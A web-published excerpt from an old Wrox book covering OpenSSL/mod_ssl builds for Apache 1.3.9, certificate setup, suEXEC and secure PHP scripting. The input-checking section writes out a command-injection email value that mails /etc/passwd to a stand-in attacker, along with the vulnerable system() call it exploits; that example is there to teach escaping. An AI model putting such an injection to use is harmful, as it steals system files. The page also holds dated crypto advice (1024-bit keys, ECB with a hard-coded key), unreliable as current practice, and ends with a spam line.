Excludes a particular cipher from the library. The list of ciphers included (and which can be specified here) is: bf, cast, des, dh, dsa, hmac, md2, md5, mdc2, rc2, rc4, rc5, rsa, sha. For example:

# ./config no-hmac
rsaref
Causes OpenSSL to be built with the RSAREF reference implementation rather than its own internal implementation. Inclusion of the RSAREF library may be required legally. Read the section below before choosing to enable or ignore this option.

-D, -l, -L, -f, -K
Passes flags to the compiler or linker stages; for example: -L/usr/local/lib   For example, to configure OpenSSL to use threads, exclude the md2 and rc2 ciphers, and use RSAREF, we would use:

# ./config –prefix=/usr/local/apache/libexec/ssl –openssldir=/usr/local/apache/ssl threads no-md2 no-rc2 rsaref
Once the build process is configured, the library can be built and tested with:  

# make (or make all) # make test
If we are also installing the libraries, we can also use:  

# make install
The brave can do all three steps in one go with:  

# make all test install > build.log
This creates and installs the OpenSSL libraries as statically linked libraries with a .a suffix.

Building OpenSSL as Dynamically Linked Libraries
The process for building the libraries as dynamically linked libraries is a little more complicated and depends on the platform. Linux administrators can use the provided make target linux-shared:  

# make linux-shared
The installation step does not understand the shared library filenames, so to install them we need to install them directly with something like:  

# mv lib* /usr/local/apache/libexec/ssl/ # chmod 664 /usr/local/apache/libexec/ssl/lib*
Since install is also responsible for setting up the certificate directories and other supporting files, we might want to build the static libraries first, install them and the supporting files, then build the shared libraries and install them as a second step:  

# make # make test # make install # make linux-shared # mv lib* /usr/local/apache/libexec/ssl # chmod 664 /usr/local/apache/libexec/ssl/lib*
Other platforms can try one of the configuration scripts kept in the shlib subdirectory. Currently scripts exist for IRIX, Solaris and Windows. Experienced administrators can also try feeding parameters to the compiler and linker with the -D, -l, -L, -f and -K config script options.

Specifying the Platform and Compiler Explicitly
OpenSSL also comes with an alternative configuration script Configure that allows us to specify the target platform and compiler explicitly, rather than have the config script try to work it out itself. Running Configure on its own will produce a syntax usage line and an alarmingly long list of possible target platforms and variations:  

# ./Configure Usage: Configure [-Dxxx] [-lxxx] [-Lxxx] [-fxxx] [-Kxxx] [rsaref] [no-threads] [no-asm] [386] [--prefix=DIR] [--openssldir=OPENSSLDIR] os/compiler[:flags] pick os/compiler from: BC-16              BC-32              BS2000-OSD         CygWin32           FreeBSD            FreeBSD-alpha      FreeBSD-elf        Mingw32            NetBSD-m68         NetBSD-sparc       NetBSD-x86         OpenBSD            OpenBSD-alpha      OpenBSD-mips       OpenBSD-x86        ReliantUNIX        SINIX              SINIX-N            VC-MSDOS           VC-NT              VC-W31-16          VC-W31-32          VC-WIN16           VC-WIN32           aix-cc             aix-gcc            alpha-cc           alpha-gcc          alpha164-cc        bsdi-elf-gcc       bsdi-gcc           cc                 cray-t3e           cray-t90-cc        dgux-R3-gcc        dgux-R4-gcc        dgux-R4-x86-gcc    dist               gcc                hpux-brokencc      hpux-brokengcc     hpux-cc            hpux-gcc           hpux10-brokencc    hpux10-brokengcc   hpux10-cc          hpux10-gcc         hpux11-32bit-cc    hpux11-64bit-cc    irix-cc            irix-gcc           irix-mips3-cc      irix-mips3-gcc     irix64-mips4-cc    irix64-mips4-gcc   linux-aout         linux-elf          linux-mips         linux-ppc          linux-sparcv7      linux-sparcv8      linux-sparcv9      ncr-scde           nextstep           nextstep3.3        purify             sco5-cc            sco5-gcc           solaris-sparc-sc3  solaris-sparcv7-cc solaris-sparcv7-gcc solaris-sparcv8-cc solaris-sparcv8-gcc solaris-sparcv9-cc solaris-sparcv9-gcc solaris-sparcv9-gcc27 solaris-x86-gcc    solaris64-sparcv9-cc sunos-gcc          ultrix-cc           ultrix-gcc         unixware-2.0       unixware-2.0-pentium debug              debug-ben          debug-ben-debug    debug-ben-strict   debug-bodo
The possible options that can be given to Configure are identical to the config options above with the sole exception of the final os/compiler option, which is obligatory and picked from the list above. For example, to build a debug version of OpenSSL on Linux we could use:

# ./Configure [options we supplied to ./config] debug-linux-elf
This should only be necessary if the config script guesses wrongly or we need to add our own platform to the list if none of the existing ones work.

Building OpenSSL with the RSAREF toolkit
Apache servers that are to run within the US need to build OpenSSL with the RSAREF library in order to comply with patents held by RSA, at least until they expire. To do this we unpack the RSAREF source code as outlined above and execute:  

# cd /usr/local/src/rsaref-2.0/source # make -f ../install/unix/makefile
Makefiles exist for UNIX, DOS (Windows) and Macintosh platforms; we use whichever is the appropriate makefile for the server platform. To build OpenSSL with the RSAREF library, we copy the RSAREF library to the OpenSSL root directory and give the rsaref option to the config script:  

# cd /usr/local/src/openssl-0.9.4 # cp /usr/local/src/rsaref-2.0/source/rsaref.a librsaref.a # ./config rsaref [other options]
The RSAREF library is not actively maintained and is now quite old. Unfortunately, it is a necessary evil for using SSL with Apache in the US. Administrators compiling onto more obscure or modern platforms, especially 64 bit architectures, may run into problems. In these cases consult the mod_ssl installation documentation which covers a few of these issues.

Building and Installing mod_ssl
Once the OpenSSL libraries – and optionally the RSAREF library – have been built, we can build mod_ssl. In order to function, mod_ssl needs to patch the Apache source code to extend the Apache API, so we must use the configuration script supplied with mod_ssl rather than the one supplied with Apache. Handily, mod_ssl knows how to drive Apache’s configuration script and will pass APACI options to it if we specify them to mod_ssl’s configuration script.
 
The one-step way to build Apache and mod_ssl is to give mod_ssl’s configuration script something like the following:  

# ./configure –with-apache=/usr/local/src/apache_1.3.9   –with-ssl=/usr/local/src/openssl-0.9.4 –enable-module=ssl # cd /usr/local/src/apache_1.3.9 # make # make install
This creates a statically linked Apache with mod_ssl included into the binary. As well as passing the –enable-module to Apache’s configuration script, this also invisibly passed –enable-rule=EAPI to activate the patches made to Apache’s source code.
 
Here we’ve assumed that we originally unpacked Apache and OpenSSL into directories under /usr/local/src and have already been into the OpenSSL directory and built the libraries there. Of course, in reality the source code for the different packages can go anywhere so long as we tell mod_ssl’s configure script where to find them.
 
We can supply any APACI options to this configuration script, and mod_ssl will pass them to Apache’s own configuration script after it has patched the Apache source code. For example, to specify Apache’s install directory and target name and build most modules with all built modules made into dynamically loadable modules (including mod_ssl), we could put:  

# ./configure  –with-apache=/usr/local/src/apache_1.3.9 –with-ssl=/usr/local/src/openssl-0.9.4 –prefix=/usr/local/apache139 –target=httpd139 –enable-module=ssl –enable-module=most –enable-shared=max … other APACI options …
Here –prefix, –target, –enable-module and –enable-shared options are all passed as options to Apache’s configuration script.

Retaining Use of Apache’s configure script with mod_ssl
If mod_ssl is the only module that needs to be configured externally, it is easy to use the configure script supplied by mod_ssl and use it to pass APACI options to the Apache configure script. However, if we have several modules needing special treatment things get more complex – we cannot drive Apache’s configuration from all of them at once.
 
As an alternative we can use mod_ssl’s configure script to make the EAPI patches to Apache only, then use Apache’s configure script to set up Apache as usual, or go on to another module and use its configure script. Once Apache is built with EAPI included we can return to mod_ssl’s source code and build it as a loadable module by telling it to use apxs. The steps to do this are:

1. Build OpenSSL (and possibly RSAREF)
We first build the OpenSSL libraries, without installing them. In this case we’re building for a site outside the US, so we have to disable the IDEA cipher:

# cd /usr/local/src/openssl-0.9.4 # ./config no-idea # make
Alternatively, US sites would use RSAREF (built previously):  

# cd /usr/local/src/rsaref-2.0/source # make -f ../install/unix/makefile # cd /usr/local/src/openssl-0.9.4 # cp ../rsaref-2.0/source/rsaref.a librsaref.a # ./config rsaref # make
2. Patch Apache’s source code
Next we need to patch the extended API that mod_ssl needs into Apache, but without running Apache’s configuration script.

# cd /usr/local/mod_ssl-2.4.1-1.3.9 # ./configure –with-apache=/usr/local/src/apache_1.3.9 –with-eapi-only
3. Do other third-party module preparations
We can now go to other modules with non-trivial installation procedures and carry out any necessary preparations. Note that some modules (mod_php being one) need to be built after the mod_ssl patches have been applied to work, and need -DEAPI added to their compiler flags at the configuration stage. For this reason it is always a better idea to deal with the EAPI patches before handling other third-party modules.
 
Some modules, like mod_ssl, can also drive Apache’s configuration from their own configuration scripts, so we could do the rest of the configuration here if we only had one other module to configure. Otherwise, we go on to the next step.

4. Configure and build EAPI-patched Apache
Because we’re going to build mod_ssl later we must enable mod_so, either explicitly with –enable-module=so or implicitly by using –enable-shared. In this case, we’re going to compile all modules as dynamic modules. We’re also going to test this server before we use it in anger, so we give it a different installation root and target name to distinguish it from the existing installation.
 
In order to enable the EAPI interface required by mod_ssl, we need to enable the EAPI rule which was added to Apache’s configuration options when we patched the source in stage 2.  

# cd /usr/local/src/apache_1.3.9 # ./configure –prefix=/usr/local/apache139 –target=httpd139   –sbindir=$prefix/sbin –enable-module=all –enable-shared=max   –enable-rule=EAPI # make # make install
If the source is patched correctly and the EAPI rule has been activated, we should see -DEAPI included in the list of flags passed to the compiler during the build process.

5. Build and install mod_ssl with apxs
Now we can build mod_ssl using apxs. This works because we previously built Apache with the EAPI patches in place; we don’t need to apply them again. The –with-rsa option is only necessary if we’re building with the RSAREF library.  

# cd /usr/local/src/mod_ssl-2.4.1-1.3.9 # ./configure   –with-ssl=/usr/local/src/openssl-0.9.4   –with-rsa=/usr/local/src/rsaref-2.0/source/   –with-apxs=/usr/local/apache139/sbin/apxs # make # make install
Strangely, although the makefile generated by configure uses apxs to install libssl.so (the filename under which mod_ssl is created), it does not add the necessary lines to the configuration file. We can fix this easily with:  

# /usr/local/apache139/sbin/apxs -i -a -n mod_ssl pkg.sslmod/libssl.so
This actually does the installation too, so the make install is redundant. If we already have the directives in httpd.conf for loading mod_ssl (from a previous installation, perhaps), make install is just fine, as well as being shorter to type.
 
Once mod_ssl is installed and running in Apache, we can check to see if it is present by generating an information page with mod_info. If present mod_ssl will announce itself on the Apache version line.

Basic SSL Configuration
In order to have Apache respond to SSL connections we also need make sure it is listening to port 443, the default port for SSL. By default Apache listens to all ports and all interfaces, but if we’re being more restrained we’ll need to put something like:  

Port 80 Listen 80 Listen 443
To actually enable SSL we need to tell Apache how and when to use it, by entering SSL directives into its configuration. mod_ssl provides a lot of directives, but the ones of crucial importance are:  

# Switch on the SSL engine – for Apache-SSL use SSLEnable instead SSLEngine on # Specify the server’s private key SSLCertificateKeyFile conf/ssl/www.alpha-complex.com.key # Specify the certificate for the private key SSLCertificateFile conf/ssl/www.alpha-complex.com.crt
If we’re loading SSL dynamically, these directives must be located after the LoadModule/AddModule directives for Apache to understand them. If we put the directives at the server level (that is, outside a virtual host container), then the entire server will be SSL enabled and ordinary HTTP connections will no longer work on any port. However, we can also put all three directives in a IP-based virtual host to enable SSL for one host only; in this case a host dedicated to port 443, the SSL port:  

<VirtualHost 192.168.1.1:443> ServerName www.alpha-complex.com DocumentRoot /home/www/alpha-complex … virtual host directives … SSLEngine on SSLCertificateFile conf/ssl/www.alpha-complex.com.crt SSLCertificateKeyFile conf/ssl/www.alpha-complex.com.key </VirtualHost>   <VirtualHost 192.168.1.1:*> ServerName www.alpha-complex.com DocumentRoot /home/www/alpha-complex … virtual host directives … </VirtualHost>
In order for Apache to support SSL this is all we need in the configuration; Apache will accept both unencrypted and encrypted connections for any page on the server. This is not what we ultimately want, but we can enforce use of SSL in specific areas, as we will see later. For a proper SSL server we would probably also want to define SSLRandomFile, as described later. mod_ssl also supports a range of other SSL directives which we can use to customize SSL in various ways. For example, a simple and obvious thing to do is enforce the use of SSL in a specific location, which we can do with:  

<Directory /home/www/alpha-complex/secure/> SSLrequireSSL </Directory>
This rejects ordinary HTTP connections that try to access resources in the secure section of the site. We can also automatically redirect clients to use SSL, as we will see later.
©1998 Wrox Press Limited, US and UK. {mospagebreak title=Installing a Private Key} The key and certificate files we’ve defined above don’t exist yet. Ultimately we will want to use a private key with an officially signed certificate, so we can verify ourselves as being bona fide on the Internet, but for now we can create a temporary certificate and test that SSL works with it.
 
OpenSSL provides a utility called, simply enough, openssl. If OpenSSL was fully installed this will be located under whatever directory was given to the OpenSSL configuration script (/usr/local/ssl by default). Otherwise, it is still in the apps directory of the OpenSSL source code. In this case we can copy it to Apache’s sbin directory. For our example server we’d use:  

# cp /usr/local/src/openssl-0.9.4/apps/openssl /usr/local/apache139/sbin/
We can use this to create a des3-encrypted private key for Apache to use with either:  

# openssl genrsa -des3 1024 > www.alpha-complex.com.key # openssl genrsa -des3 -out www.alpha-complex.com.key 1024
We can actually call this key file anything we like, but we choose the domain name of the server because we can then create other keys for different virtual hosts and give each a name that identifies the host it is for. The .key suffix is also not obligatory, but it is the usual one for key files. In the process of setting up SSL, we’ll also create .csr and .crt files, so sticking to the common extensions makes life simpler. Executing the command will generate some diagnostic information about the key being generated and then ask for a pass phrase:  

1112 semi-random bytes loaded Generating RSA private key, 1024 bit long modulus …………………………………………………………….+++++ ………..+++++ e is 65537 (0x10001) Enter PEM pass phrase: Verifying password -Enter PEM pass phrase:
Since mod_ssl will ask us for this pass phrase every time we start up Apache, we can also create an unencrypted private key by leaving out the -des3 option:  

# openssl genrsa 1024 > www.alpha-complex.com.key
Apache will accept this key quite happily, but we must make absolutely sure that the directory for keys and certificates – /usr/local/apache/conf/ssl in this example – and the files in it are all only readable by root:  

# chmod 400 www.alpha-complex.com.key
If we fail to do this and a third-party gets hold of the private key, they could use it to impersonate the server, and security would be fundamentally broken.

Creating a Certificate Request and Temporary Certificate
To validate the private key we need a certificate. In order to get an officially signed certificate, we need to generate a certificate request file. To create our own temporary certificate we can simply sign our own request while we wait for an official one to be created for us. This certificate won’t pass muster if a client checks it and finds it is not signed by a recognized certificate authority, but they may (depending on their configuration settings) choose to accept it anyway, either for just this session, or until it expires.
 
The openssl utility can both create and sign certificate requests. To create the request, or CSR, we use something like:  

# openssl req -new -key www.alpha-complex.com.key -out www.alpha-complex.com.csr
Note that for this, and some other variants of the openssl command, we need a configuration file located in the directory specified when OpenSSL was built. If OpenSSL was not fully installed install the configuration file by hand from apps/openssl.cnf.
 
The CSR generation process will ask us a whole bunch of questions about our identity, which will be built into the request and used by the signing authority as part of the certificate we are issued in return. This information is collectively known as a Distinguished Name or DN. Since we’ll use this CSR for both testing and the official certificate it is important to get this information right:  

You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter ‘.’, the field will be left blank. —– Country Name (2 letter code) [AU]:AC State or Province Name (full name) [Some-State]:SSL Sector Locality Name (eg, city) []:Alpha Complex Organization Name (eg, company) [Internet Widgits Pty Ltd]:The Computer Organizational Unit Name (eg, section) []:CPU Common Name (eg, YOUR name) []:www.alpha-complex.com Email Address []:webmaster@alpha-complex.com   Please enter the following ‘extra’ attributes to be sent with your certificate request A challenge password []: An optional company name []:
Fill these in with the correct values for the server and server operator, leaving blank any fields that do not apply. The Common Name is the server’s main domain name, www.alpha-complex.com in this case, regardless of the exhortation YOUR name. This is important, since browsers will generate a security warning if the certificate’s CN (common name) does not match the URL that the client asked for.
 
The challenge password and optional company name are usually left blank; these are used with Certificate Revocation which is discussed later. For most applications no challenge password is required.
 
Once the CSR has been generated, we can sign it ourselves to create a temporary certificate for the private key we generated earlier:  

# openssl req -x509 -key www.alpha-complex.com.key -in   www.alpha-complex.com.csr -out www.alpha-complex.com.crt
Now we can install these two keys, if we didn’t create them there, into the conf/ssl directory so Apache can see them. Now when we start Apache it should ask us for a pass phrase (if we encrypted the private key file), and start up with SSL. We can check the configuration by using mod_info’s information page and test that SSL works by asking for the URL https://www.alpha-complex.com/.
 
In fact the server will respond to a secure http connection on either port 80 or 443, however clients default to port 443.
 
Note that we cannot use telnet to test an SSL connection, since telnet has no idea about public key cryptography, and quite rightly too. We can use another variant of the openssl utility to test the connection instead:  

# openssl s_client -connect localhost:443 -state
This will produce a longish printout of negotiations between openssl and Apache, which can be used for analyzing problems or debugging. For really extended output add the -debug option as well. Assuming the connection is established, we can get a page from the server with something like:  

GET / HTTP/1.0
Followed by two linefeeds. This should have the expected results, with a few additional SSL related message tagged on to the end.

Getting a Signed Certificate
Chances are, if we use a modern web browser to test the above URL, we’ll get a warning message about the site using a certificate that hasn’t been signed by a recognized authority and asking us if we want to accept it. That’s fine for testing but a little unfriendly for visitors. To make this message go away we have to spend some money and get the CSR signed by a recognized certificate authority.
 
The two largest certificate authorities are Verisign and Thawte. Verisign certificates can applied for online at http://www.verisign.com/server/. Information and forms for requesting a certificate from Thawte can be found at the URL http://www.thawte.com/certs/server/. Thawte also have help pages for setting up SSL keys and certificates, including Apache-SSL and Apache+mod_ssl, at: http://www.thawte.com/certs/server/keygen/.
 
Of the two, Thawte is significantly cheaper and recently gained the right to issue strong encryption certificates which previously had been a right exclusive to Verisign. Thawte also get brownie points for supporting Apache early on (at one point they were the only source of certificates, since at that time Verisign was refusing to grant certificates for Apache servers) as well as having support pages dedicated to it.
 
The key part of the online application process is sending the CSR to the authority; in this case www.alpha-complex.com.csr. It is important to send the right file – do not send the temporary certificate (extension .crt) and especially not the private key file. In general, the CSR is pasted into an HTML form as a complete file. Note that all parts of the file are required and it must be sent as-is with no additions or missing characters.
 
With either service, or indeed any other, the following are usually required:  
  • Proof of ownership of the organization name specified in the CSR. For companies this is usually a fax of the company registration certificate.
  • Proof of the organization’s ownership of the domain name specified in the CSR. For most web sites, a hard copy of the domain registration information retrieved from the WHOIS database.
The exact requirements vary from company to company; consult the appropriate web site for more information.
 
For more information about the use of SSL and Apache, see Professional Apache by Peter Wainwright

Using Apache’s suEXEC Mechanism
Normally CGI and PHP scripts run under the same user as the web server (usually www or nobody). One of the consequences of this is that a user can read and modify files (such as scripts or password files) created by the CGI programs or PHP scripts of another user. It may also allow users to connect to the database of another user, but that depends on the configuration of the database server. For instance, the default MySQL will allow this. This can be fixed by forcing the database to do password verification. The documentation for the particular database you use should have more information.
 
While PHP’s safe_mode alleviates some of these problems, all scripts still run under the same user id.
 
Fortunately, Apache gives us the software to solve this problem. suEXEC (Switch User before Executing) is a small utility that makes it possible to run CGI programs (and therefor PHP scripts) under any user id we want (with exception of the root user) and it works with both the UserDir and VirtualHost directives.
 
suEXEC is a so called CGI wrapper. This means that before a script is executed it has to pass a series of carefully constructed security checks. The version of suEXEC that comes with Apache version 1.3.9 has 21 of these checkpoints. Below is a list of some of the things suEXEC checks before executing a script.
 
Check Result
Is the user allowed to run the wrapper? Only the user the web server runs as is allowed to execute suEXEC.
Is the script located in the Apache web tree? A script must be located inside the web tree if suEXEC is to execute the script.
Is the target user name valid? Is the owner of the script listed in the password file? If not, this could be a script that belongs to someone who no longer has an account.
Is the target user NOT super user? suEXEC will not allow the root user to execute CGI/SSI programs.
Is the target user id ABOVE the minimum ID number? The minimum user ID number is specified during configuration. This allows you to set the lowest possible user id that will be allowed to execute CGI/SSI programs. This is useful to block out “system” accounts, such as bin or guest.
Is the target group NOT the super user group? suEXEC will not allow a user in the root group to execute CGI/SSI programs.
Is the target group id ABOVE the minimum ID number? The minimum group ID number is specified during configuration. This allows you to set the lowest possible group id that will be allowed to execute CGI/SSI programs. This is useful to block out “system” groups.
Does the directory in which the program resides exist? If the directory does not exist, it cannot contain any files.
Is the directory within the Apache web tree? Is the requested file located somewhere below in the DocumentRoot?
Is the directory NOT writable by anyone else? We certainly do not want to open up the directory to other users; only the owner may alter this directory’s contents.
Does the target program exist? If the program does not exist, it cannot be executed.
Is the target program NOT writable by anyone else? Do not give anyone other than the owner the ability to change the program.
Is the target program NOT setuid or setgid? We do not want to execute programs that will then change our user id/group id after executing.
Is the target user/group the same as the program’s user/group? Is the user the owner of the file?
Can we successfully clean the process environment to ensure safe operations? suEXEC cleans the process’ environment by establishing a safe execution PATH (defined during configuration), as well as only passing through those variables whose names are listed in the safe environment list (also created during configuration).


suEXEC solves several security problems and makes allowing users to develop and run their own scripts much safer. It does come at a cost though. suEXEC can slow things down considerably, since suEXEC only works with the CGI version of the PHP parser, which is considerably slower than using the module version. Another problem with suEXEC is the complexity it that adds to developing and using PHP scripts. You have to make sure that your script doesn’t fail even one of suEXEC’s tests. If it does, your script will not be executed. I recommend you only use suEXEC if you really have to.  
©1998 Wrox Press Limited, US and UK. {mospagebreak title=Creating Secure PHP Scripts} There are several programming practices that can make running PHP scripts safer. The most important one is probably using some common sense. Think about what can go wrong with a particular solution to a problem. Does it have any flaws that can be abused? Are there situations in which your solution does not work? Do I really want to permit user to run arbitrary SQL queries on my database?

Running PHP scripts is much safer then running CGI scripts, but there is still a lot that can go wrong. Turning safe mode on can limit the consequences when things do go wrong. If there is a bug in your scripts that can be used to wreck your web site (or worse, your database), someone will find and use it. It is up to you to minimize the risk of this happening. Of course, good backups are essential, as always.

Foolproof Software
Web based applications, such as on-line catalogs, will often be running for extended periods without close supervision. If problems arise, you won’t be there to take immediate action. Usually your users are the first to notice problems, so you should make it easy for them to report problems. More often than not, these problems can be traced back to the scripts that make up the site. For instance, your users could be doing things you hadn’t thought of. Alternatively, it could be that your scripts are behaving in unexpected ways because you neglected to check the return value of an important function that fouled up.
 
By trying to write foolproof software, you can prevent many of these problems. For instance, you should check the return values of database functions. If the database crashed, you could show your users a page with more information on the problem instead of a screen full of errors. You could even have your scripts page you in case of serious problems, such as a crashed database or a hard disk filling up. You also need to make sure you check all data received from users, but more on that later.
 
If you write your software in such a way that it can cope with errors, your software will not only be more reliable, but it will also require less maintenance. The time this saves you could easily offset the extra time taken during development.

Storing and Exchanging Sensitive Information
Obviously, you should avoid sending sensitive information across the Internet in a way that makes it easy for outsiders to get hold of, such as using GET, POST, cookies or encoding information in the URL. Using an SSL capable web server is probably the easiest way and the best way, since it encrypts all information flowing between your web site and a visitor’s browser.
 
Sometimes you will not have access to an SSL capable web server, so you will need to come up with something else. Maybe you don’t even need to send the data to the browser. Maybe you can just store all this sensitive data in a database and send the key to the browser, so you can easily find the data when you need it. You could also send all the data in an encrypted form. What this essentially comes down to is the use of sessions. PHP4 will have native support for sessions and there is a good library of functions allowing you to use sessions with PHP 3 (among other things): PHPLIB (phplib.netuse.de).
 
You could also build something yourself. You could place all relevant information in an array, serialize it, and encrypt it. You could then send it to the browser in a cookie or store it in a form variable.
 
Prepare the data in an array for transfer across the Internet:  

# $data is the array that contains the data that should be encrypted $encrypteddata = mcrypt_ecb(MCRYPT_TripleDES, “Secret key”,                             serialize($data), MCRYPT_ENCRYPT); $encrypteddata = bin2hex($encrypteddata);
$encrypteddata now contains an encrypted version of the array. The extra bin2hex step is necessary because mcrypt_ecb outputs binary data. You will need to use bin2hex, urlencode or another, similar function before you can use it in a cookie or a form variable. You decrypt the data with the same process in reverse.  

$encrypteddata = hex2bin($encrypteddata); $data = unserialize(mcrypt_ecb(MCRYPT_TripleDES, “Secret key”,                                $encrypteddata, MCRYPT_DECRYPT)); # $data is the array that contains the decrypted data
Keeping tabs on the contents of files is almost impossible if you are not using a PHP module running in safe mode or a PHP CGI running under suEXEC. In such a situation, storing your data in a database may be the only way of keeping other people/scripts from reading your data. That is, if you have your own database.

Checking User Input
The Perl programming language (www.perl.com) has a feature called ‘taint checking.’ When taint checking is in effect, you cannot run some functions with tainted variables without getting a fatal error. A variable becomes tainted when its value is based in part or completely on data supplied by a user. Because this data should be considered insecure, this can really improve security.
 
PHP does not have this feature, but PHP does have the escapeshellcmd function. For instance, suppose you had never heard of PHP’s mail function and wanted to provide users with an easy way to request a list of products you are selling. You could write a small HTML file and have the following script send them an email.  

<?php system(“mail $to < products.txt”); echo “The product listing has been mailed to you.”; ?>
This script has a very big security hole just waiting to be abused. You trust the data you receive from your users. What if someone were to use the following email address:  

‘–bla ; mail hacker@somewhere < /etc/passwd ;’
The command executed by the system function would look like:  

mail –bla ; mail hacker@somewhere < /etc/passwd ; < products.txt
This line actually consists of three commands. The first produces an error message about –bla being an invalid option, the second would mail your password file to this crafty person, and the third does nothing at all.
 
If you use the escapeshellcmd function, you can avoid this particular problem. Placing the following line at the top of the script fixes this nasty bug.  

$to = escapeshellcmd($to);
This is a rather naÏve example, but it should make it very obvious that you need to check the data you receive from a user, especially if you use the data they supply in calls to functions like system and exec. Even if you use the escapeshellcmd, you should still pay attention to the ways you use user-submitted data.
 
Another way of making sure people will not be able to abuse your scripts is only allowing carefully checked input. For instance, if people need to enter an email address, check that it is really a valid email address. While regular expressions may be difficult to use, they do work. For more information on regular expressions, see Chapter 6 (Expressions and Statements)
 
An example of a function to check user input is shown below. It will validate if a string contains a valid IP address.  

function validate_ip($ip) {   if (is_string($ip) && ereg(‘^([0-9]{1,3}).([0-9]{1,3}).’ .                              ‘([0-9]{1,3}).([0-9]{1,3})$’,                              $ip, $part)) {     if ($part[1] <= 255 && $part[2] <= 255 &&         $part[3] <= 255 && $part[4] <= 255)       return TRUE; # Valid IP   }   return FALSE; # Invalid IP }
Conclusion
Security is a state of mind. When you develop scripts, you should be thinking about what you can do to make the scripts safer. A secure web server running on a secure server gets you a long way, but you still need to be security conscious yourself.
©1998 Wrox Press Limited, US and UK.
[gp-comments width="770" linklove="off" ]
antalya escort bayan antalya escort bayan